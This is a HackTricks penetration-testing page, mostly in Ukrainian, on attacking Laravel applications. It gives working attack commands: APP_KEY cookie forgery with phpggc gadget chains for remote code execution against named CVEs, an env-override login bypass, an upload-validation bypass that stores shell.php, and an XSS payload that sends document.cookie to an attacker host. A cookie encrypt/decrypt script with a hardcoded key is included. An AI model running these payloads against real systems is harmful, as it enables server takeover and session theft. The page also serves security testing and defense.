Laravel

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Laravel SQLInjection

Детальніше про це читайте тут: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Внутрішні механізми шифрування (Laravel >=5.6)

Laravel використовує AES-256-CBC (або GCM) з HMAC для забезпечення цілісності під капотом (Illuminate\Encryption\Encrypter). Сирий шифртекст, який в кінцевому підсумку відправляється клієнту, є Base64 від JSON-об’єкта, схожого на:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) за замовчуванням викликає serialize() для відкритого тексту, тоді як decrypt($payload, $unserialize=true) автоматично виконує unserialize() для розшифрованого значення. Отже, будь-який атакуючий, який знає 32-байтний секрет APP_KEY, може створити зашифрований PHP serialized об’єкт і отримати RCE через магічні методи (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Впровадьте отриманий рядок у будь-який вразливий sink (decrypt() sink) (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer автоматизує весь процес і додає зручний bruteforce режим:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Скрипт прозоро підтримує обидва payloads — CBC і GCM — та повторно генерує поле HMAC/tag.


Реальні вразливі патерни

ПроектВразливий sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie коли Passport::withCookieSerialization() увімкненоLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Процес експлуатації завжди такий:

  1. Отримати або brute-force 32-байтовий APP_KEY.
  2. Побудувати gadget chain за допомогою PHPGGC (наприклад Laravel/RCE13, Laravel/RCE9 або Laravel/RCE15).
  3. Зашифрувати серіалізований gadget за допомогою laravel_crypto_killer.py та відновленого APP_KEY.
  4. Доставити ciphertext у вразливий sink decrypt() (route parameter, cookie, session …) щоб запустити RCE.

Нижче — короткі one-liners, що демонструють повний шлях атаки для кожного з реальних CVE, згаданих вище:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифровану cookie (XSRF-TOKEN і зазвичай laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts, які можна атакувати офлайн.

Ключові висновки дослідження, опублікованого Synacktiv (2024-2025):

  • Набір даних July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Набір даних May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 серверів все ще вразливі до legacy CVE-2018-15133, оскільки tokens напряму містять serialized data.

  • Масове повторне використання ключів – Top-10 APP_KEYs є жорстко вбудованими defaults, що постачаються з комерційними Laravel шаблонами (UltimatePOS, Invoice Ninja, XPanel, …).

Приватний Go tool nounours підвищує AES-CBC/GCM bruteforce throughput до ~1.5 billion tries/s, зменшуючи час злому всього набору даних до <2 хвилин.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Коли в PHP встановлено register_argc_argv=On (типово для багатьох дистрибутивів), PHP експонує масив argv для HTTP-запитів, утворений з рядка запиту. Новіші версії Laravel парсили ці “CLI-like” args і враховували --env=<value> під час виконання. Це дозволяє змінити environment фреймворку для поточного HTTP-запиту просто додавши його до будь-якого URL:

  • Quick check:

  • Відкрийте https://target/?--env=local або будь-який інший рядок і перевірте зміни, залежні від environment (debug banners, footers, verbose errors). Якщо рядок відображається, override працює.

  • Impact example (business logic trusting a special env):

  • Якщо додаток містить гілки на кшталт if (app()->environment('preprod')) { /* bypass auth */ }, можна аутентифікуватися без дійсних creds, відправивши login POST на:

  • POST /login?--env=preprod

  • Notes:

  • Працює для одиничного запиту, без персистентності.

  • Вимагає register_argc_argv=On та вразливої версії Laravel, яка читає argv для HTTP.

  • Корисний примітив для отримання більш докладних помилок у “debug” envs або для тригеру кодових шляхів, захищених environment-умовами.

  • Mitigations:

  • Вимкніть register_argc_argv для PHP-FPM/Apache.

  • Оновіть Laravel, щоб ігнорувати argv в HTTP-запитах і видаліть будь-які припущення довіри, прив’язані до app()->environment() у production маршрутах.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Обхід валідації файлів з використанням wildcard (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0 дозволяють ретельно сконструйованим multipart-запитам повністю пропускати будь-яке правило, прив’язане до files.* / images.*. Парсер, який розгортає wildcard-ключі, міг плутатись через керовані атакуючим плейсхолдери (наприклад, попередньо заповнені сегменти __asterisk__), тож фреймворк ініціалізував об’єкти UploadedFile без виконання image, mimes, dimensions, max тощо. Як тільки шкідливий blob опиняється в Storage::putFile*, ви можете перейти до будь-якого з примітивів завантаження файлів, вже перерахованих у HackTricks (web shells, log poisoning, signed job deserialization, …).

Hunting for the pattern

  • Статично: rg -n "files\\.\*" -g"*.php" app/ або перегляньте класи FormRequest на предмет rules(), що повертають масиви, які містять files.*.
  • Динамічно: підключіть hook Illuminate\Validation\Validator::validate() через Xdebug або Laravel Telescope у pre-production, щоб логувати кожен запит, який потрапляє на вразливе правило.
  • Перегляд middleware/route: ендпойнти, що приймають кілька файлів (avatar importers, document portals, drag-n-drop компоненти), зазвичай довіряють files.*.

Practical exploitation workflow

  1. Capture a legitimate upload and replay it in Burp Repeater.
  2. Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., files[0][__asterisk__payload]) or nest another array (files[0][alt][0]). On vulnerable builds, that second part never gets validated but still becomes an UploadedFile entry.
  3. Point the forged file to a PHP payload (shell.php, .phar, polyglot) and force the application to store it in a web-accessible disk (commonly public/ once php artisan storage:link is enabled).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Ecosystem package vulns worth chaining (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set "sub":"auth0|admin" and app_metadata.roles), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: composer.lock shows auth0/auth0-php <8.14.0 and .env has AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

The lomkit/laravel-rest-api package before 2.13.0 merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite filter rules during an update action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:

  • composer.lock lists lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== is accepted instead of rejected, showing filter validation was bypassed.

Laravel Tricks

Debugging mode

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Affected: Laravel 11.9.0–11.35.1 with APP_DEBUG=true (either globally or forced via misconfigured env overrides like CVE-2024-52301).
  • Primitive: every uncaught exception rendered by Whoops echoes parts of the request/route without HTML encoding, so injecting <img src> / <script> in a route or request parameter yields stored-on-response XSS before authentication.
  • Impact: steal XSRF-TOKEN, leak stack traces with secrets, open a browser-based pivot to hit _ignition/execute-solution in victim sessions, or chain with passwordless dashboards that rely on cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Навіть якщо режим відладки зазвичай вимкнений, спричинення помилки через фонні завдання або обробники черги та перевірка кінцевої точки _ignition/health-check часто виявляє staging-хости, які досі відкривають цей ланцюжок.

Fingerprinting & exposed dev endpoints

Швидкі перевірки для ідентифікації стеку Laravel і небезпечних dev інструментів, відкритих у production:

  • /_ignition/health-check → Ignition present (debug tool used by CVE-2021-3129). Якщо доступна без автентифікації, додаток може бути в режимі відладки або неправильно налаштований.
  • /_debugbar → Laravel Debugbar assets; часто вказує на режим відладки.
  • /telescope → Laravel Telescope (dev monitor). Якщо публічний, очікуйте широкого розкриття інформації та можливих дій.
  • /horizon → Queue dashboard; розкриття версії і іноді дії, захищені CSRF.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel зберігає APP, який він використовує для шифрування cookies та інших облікових даних, у файлі .env, до якого можна отримати доступ через path traversal: /../.env

Laravel також відобразить цю інформацію на debug-сторінці (яка з’являється, коли Laravel знаходить помилку і режим налагодження увімкнений).

Використовуючи секретний APP_KEY Laravel, ви можете розшифрувати та повторно зашифрувати cookies:

Decrypt/encrypt cookies helper (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Уразливі версії: 5.5.40 і 5.6.x до 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Тут можна знайти інформацію про deserialization вразливість: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Ви можете протестувати та експлуатувати її, використовуючи [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Або також експлуатувати її через metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Ще одна deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Посилання
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>